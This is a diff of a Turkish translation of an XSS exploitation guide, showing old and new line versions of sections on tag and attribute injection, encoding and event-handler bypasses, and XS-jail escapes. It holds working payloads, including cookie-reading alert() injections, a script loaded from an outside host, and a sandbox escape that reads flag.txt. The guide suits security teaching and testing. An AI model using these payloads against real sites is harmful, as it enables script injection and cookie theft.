Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` niteliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
 | 
			
		||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanacak** ve kodu **çalıştıracaktır**:
 | 
			
		||||
```
 | 
			
		||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 | 
			
		||||
```
 | 
			
		||||
@ -228,29 +228,29 @@ onerror=alert`1`
 | 
			
		||||
```
 | 
			
		||||
### Length bypass (small XSSs)
 | 
			
		||||
 | 
			
		||||
> [!NOTE] > **Farklı ortamlar için daha küçük XSS'ler** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
 | 
			
		||||
> [!NOTE] > **Farklı ortamlar için daha küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
 | 
			
		||||
```html
 | 
			
		||||
<!-- Taken from the blog of Jorge Lajara -->
 | 
			
		||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 | 
			
		||||
```
 | 
			
		||||
Sonuncusu, 5'e genişleyen 2 unicode karakteri kullanıyor: telsr\
 | 
			
		||||
Bu karakterlerden daha fazlasını [burada](https://www.unicode.org/charts/normalization/) bulabilirsiniz.\
 | 
			
		||||
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakabilirsiniz.
 | 
			
		||||
The last one is using 2 unicode characters which expands to 5: telsr\
 | 
			
		||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
 | 
			
		||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 | 
			
		||||
 | 
			
		||||
### Click XSS - Clickjacking
 | 
			
		||||
 | 
			
		||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
 | 
			
		||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
 | 
			
		||||
 | 
			
		||||
### İmkansız - Dangling Markup
 | 
			
		||||
### Impossible - Dangling Markup
 | 
			
		||||
 | 
			
		||||
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
 | 
			
		||||
Eğer **JS kodunu çalıştırmak için bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
 | 
			
		||||
 | 
			
		||||
## HTML etiketinin içine enjekte etme
 | 
			
		||||
## Injecting inside HTML tag
 | 
			
		||||
 | 
			
		||||
### Etiketin içinde/nitelik değerinden kaçış
 | 
			
		||||
### Inside the tag/escaping from attribute value
 | 
			
		||||
 | 
			
		||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için yapabileceğiniz ilk şey **etiketten kaçmak** ve JS kodunu çalıştırmak için [önceki bölümde](#injecting-inside-raw-html) bahsedilen bazı teknikleri kullanmaktır.\
 | 
			
		||||
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin içinde yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
 | 
			
		||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
 | 
			
		||||
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
 | 
			
		||||
```bash
 | 
			
		||||
" autofocus onfocus=alert(document.domain) x="
 | 
			
		||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 | 
			
		||||
@ -265,16 +265,16 @@ Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin iç
 | 
			
		||||
#moving your mouse anywhere over the page (0-click-ish):
 | 
			
		||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 | 
			
		||||
```
 | 
			
		||||
### Özellik İçinde
 | 
			
		||||
### Attribute İçinde
 | 
			
		||||
 | 
			
		||||
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
 | 
			
		||||
Bir diğer ilginç **örnek** ise `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
 | 
			
		||||
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
 | 
			
		||||
Bir diğer ilginç **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
 | 
			
		||||
 | 
			
		||||
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
 | 
			
		||||
 | 
			
		||||
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
 | 
			
		||||
HTML etiket atributlerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında** **çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
 | 
			
		||||
 | 
			
		||||
**Her türlü HTML kodlaması geçerlidir**:
 | 
			
		||||
Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
 | 
			
		||||
```javascript
 | 
			
		||||
//HTML entities
 | 
			
		||||
'-alert(1)-'
 | 
			
		||||
@ -301,7 +301,7 @@ HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çal
 | 
			
		||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 | 
			
		||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 | 
			
		||||
```
 | 
			
		||||
### Özel Protokoller Attribute İçinde
 | 
			
		||||
### Özel Protokoller İçinde attribute
 | 
			
		||||
 | 
			
		||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
 | 
			
		||||
```javascript
 | 
			
		||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 | 
			
		||||
```
 | 
			
		||||
**Bu protokolleri enjekte edebileceğiniz yerler**
 | 
			
		||||
 | 
			
		||||
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **ve** **`src`** özniteliğini kabul eden çoğu tagda (ama `<img>` değil) **kullanılabilir**.
 | 
			
		||||
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **kullanılabilir** ve **`src`** özniteliğini kabul eden çoğu tagda (ama `<img>` değil) kullanılabilir.
 | 
			
		||||
```markup
 | 
			
		||||
<a href="javascript:alert(1)">
 | 
			
		||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 | 
			
		||||
@ -351,17 +351,17 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
 | 
			
		||||
```javascript
 | 
			
		||||
<a href="javascript:var a=''-alert(1)-''">
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **string**'den **tek tırnak** ile **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
 | 
			
		||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **`javascript:...` içindeki girdiniz URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, **tek tırnak** kullanarak **string**'den **kaçmak** gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
 | 
			
		||||
```javascript
 | 
			
		||||
'-alert(1)-'
 | 
			
		||||
%27-alert(1)-%27
 | 
			
		||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 | 
			
		||||
```
 | 
			
		||||
Not edin ki eğer **her ikisini de** `URLencode + HTMLencode` herhangi bir sırayla **payload**'ı kodlamak için kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
 | 
			
		||||
Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**.
 | 
			
		||||
 | 
			
		||||
**`javascript:` ile Hex ve Octal kodlama kullanma**
 | 
			
		||||
 | 
			
		||||
**Hex** ve **Octal kodlama**'yı `iframe`'in `src` niteliği içinde (en azından) **HTML etiketlerini JS çalıştırmak için** tanımlamak için kullanabilirsiniz:
 | 
			
		||||
**HTML etiketlerini JS çalıştırmak için** `iframe`'in `src` niteliği içinde (en azından) **Hex** ve **Octal kodlama** kullanabilirsiniz:
 | 
			
		||||
```javascript
 | 
			
		||||
//Encoded: <svg onload=alert(1)>
 | 
			
		||||
// This WORKS
 | 
			
		||||
@ -385,7 +385,7 @@ Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız
 | 
			
		||||
 | 
			
		||||
### Olay İşleyicileri Bypass
 | 
			
		||||
 | 
			
		||||
Öncelikle, faydalı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
 | 
			
		||||
Öncelikle, yararlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
 | 
			
		||||
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir kara liste varsa, aşağıdaki bypass'ları deneyebilirsiniz:
 | 
			
		||||
```javascript
 | 
			
		||||
<svg onload%09=alert(1)> //No safari
 | 
			
		||||
@ -403,7 +403,7 @@ Android: %09 %20 %28 %2C %3B
 | 
			
		||||
```
 | 
			
		||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 | 
			
		||||
 | 
			
		||||
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girdileri kötüye kullanmak mümkün:**
 | 
			
		||||
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişleri kötüye kullanmak mümkün:**
 | 
			
		||||
```html
 | 
			
		||||
<button popvertarget="x">Click me</button>
 | 
			
		||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 | 
			
		||||
@ -448,7 +448,7 @@ Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmu
 | 
			
		||||
 | 
			
		||||
### CSS-Aletleri
 | 
			
		||||
 | 
			
		||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
 | 
			
		||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi ile küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Örneğin, öğeye şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 | 
			
		||||
 | 
			
		||||
@ -460,7 +460,7 @@ ve
 | 
			
		||||
 | 
			
		||||
> \#someid {top: 0; font-family: Tahoma;}
 | 
			
		||||
 | 
			
		||||
bulursanız, bağlantımızı şu forma getirebilirsiniz
 | 
			
		||||
bulursanız, bağlantınızı şu forma getirebilirsiniz
 | 
			
		||||
 | 
			
		||||
> \<a href="" id=someid class=test onclick=alert() a="">
 | 
			
		||||
 | 
			
		||||
@ -468,7 +468,7 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
 | 
			
		||||
 | 
			
		||||
## JavaScript kodu içine enjekte etme
 | 
			
		||||
 | 
			
		||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
 | 
			
		||||
Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodunu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**. 
 | 
			
		||||
 | 
			
		||||
### \<script> etiketini kaçırma
 | 
			
		||||
 | 
			
		||||
@ -476,11 +476,11 @@ Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` i
 | 
			
		||||
```javascript
 | 
			
		||||
</script><img src=1 onerror=alert(document.domain)>
 | 
			
		||||
```
 | 
			
		||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir.
 | 
			
		||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
 | 
			
		||||
 | 
			
		||||
### JS kodu içinde
 | 
			
		||||
 | 
			
		||||
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
 | 
			
		||||
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **arbitrary JS** **yürütme** işlemini gerçekleştirebilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
 | 
			
		||||
```
 | 
			
		||||
'-alert(document.domain)-'
 | 
			
		||||
';alert(document.domain)//
 | 
			
		||||
@ -489,7 +489,7 @@ Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalı
 | 
			
		||||
### Şablon Literalleri \`\`
 | 
			
		||||
 | 
			
		||||
Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon literalleri olarak bilinir.\
 | 
			
		||||
Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
 | 
			
		||||
Bu nedenle, eğer girdinizin bir JS dizesi içinde ters tırnaklar kullanılarak **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
 | 
			
		||||
 | 
			
		||||
Bu, şu şekilde **kötüye kullanılabilir**:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -738,21 +738,21 @@ top[8680439..toString(30)](1)
 | 
			
		||||
````
 | 
			
		||||
## **DOM zafiyetleri**
 | 
			
		||||
 | 
			
		||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
 | 
			
		||||
**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
 | 
			
		||||
**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dom-xss.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
 | 
			
		||||
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
 | 
			
		||||
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
 | 
			
		||||
 | 
			
		||||
### Self-XSS'i Yükseltme
 | 
			
		||||
 | 
			
		||||
### Cookie XSS
 | 
			
		||||
 | 
			
		||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
 | 
			
		||||
Eğer bir XSS'i bir çerez içinde payload göndererek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../hacking-with-cookies/cookie-tossing.md
 | 
			
		||||
@ -825,9 +825,9 @@ document['default'+'View'][`\u0061lert`](3)
 | 
			
		||||
```
 | 
			
		||||
### XSS ile 302 yanıtında başlık enjeksiyonu
 | 
			
		||||
 | 
			
		||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
 | 
			
		||||
Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durumu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz.
 | 
			
		||||
 | 
			
		||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
 | 
			
		||||
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Location başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının XSS yükünü gövde içinde incelemesine ve çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
 | 
			
		||||
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Location başlığı_, `resource://`.
 | 
			
		||||
 | 
			
		||||
### Sadece Harfler, Sayılar ve Noktalar
 | 
			
		||||
@ -836,11 +836,11 @@ Eğer JavaScript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
 | 
			
		||||
 | 
			
		||||
### XSS için Geçerli `<script>` İçerik Türleri
 | 
			
		||||
 | 
			
		||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
 | 
			
		||||
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alınmıştır) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
 | 
			
		||||
 | 
			
		||||
> ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (‘application/octet-stream’) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
 | 
			
		||||
 | 
			
		||||
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
 | 
			
		||||
Chrome'un **yüklenmiş bir script** çalıştırmasına izin verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
 | 
			
		||||
```c
 | 
			
		||||
const char* const kSupportedJavascriptTypes[] = {
 | 
			
		||||
"application/ecmascript",
 | 
			
		||||
@ -927,7 +927,7 @@ Bu davranış, bir kütüphaneyi eval ile yeniden haritalamak için [**bu yazıd
 | 
			
		||||
- application/rss+xml (kapalı)
 | 
			
		||||
- application/atom+xml (kapalı)
 | 
			
		||||
 | 
			
		||||
Diğer tarayıcılarda diğer **`Content-Types`** kullanılarak rastgele JS çalıştırılabilir, kontrol et: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 | 
			
		||||
Diğer tarayıcılarda diğer **`Content-Types`** rastgele JS çalıştırmak için kullanılabilir, kontrol et: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 | 
			
		||||
 | 
			
		||||
### xml İçerik Türü
 | 
			
		||||
 | 
			
		||||
@ -943,7 +943,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
 | 
			
		||||
 | 
			
		||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 | 
			
		||||
 | 
			
		||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
 | 
			
		||||
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
 | 
			
		||||
 | 
			
		||||
### Chrome Önbelleği ile XSS
 | 
			
		||||
 | 
			
		||||
@ -953,7 +953,7 @@ chrome-cache-to-xss.md
 | 
			
		||||
 | 
			
		||||
### XS Jails Kaçışı
 | 
			
		||||
 | 
			
		||||
Kullanmak için yalnızca sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin:
 | 
			
		||||
Kullanabileceğiniz sınırlı bir karakter setiniz varsa, XSJail sorunları için bu diğer geçerli çözümleri kontrol edin:
 | 
			
		||||
```javascript
 | 
			
		||||
// eval + unescape + regex
 | 
			
		||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
 | 
			
		||||
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 | 
			
		||||
 | 
			
		||||
// use of with
 | 
			
		||||
with(console)log(123)
 | 
			
		||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
 | 
			
		||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 | 
			
		||||
// Just replace console.log(1) to the real code, the code we want to run is:
 | 
			
		||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 | 
			
		||||
 | 
			
		||||
@ -984,7 +984,7 @@ constructor(source)()
 | 
			
		||||
// For more uses of with go to challenge misc/CaaSio PSE in
 | 
			
		||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 | 
			
		||||
```
 | 
			
		||||
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
 | 
			
		||||
Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
 | 
			
		||||
 | 
			
		||||
- import() kullanarak
 | 
			
		||||
```javascript
 | 
			
		||||
@ -1230,7 +1230,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
 | 
			
		||||
```
 | 
			
		||||
## XSS yaygın yükler
 | 
			
		||||
 | 
			
		||||
### 1'de Birkaç Yük
 | 
			
		||||
### Birden Fazla Yük
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
steal-info-js.md
 | 
			
		||||
@ -1238,13 +1238,13 @@ steal-info-js.md
 | 
			
		||||
 | 
			
		||||
### Iframe Tuzağı
 | 
			
		||||
 | 
			
		||||
Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylemlerini çalmak (formlarda gönderilen bilgiler dahil):
 | 
			
		||||
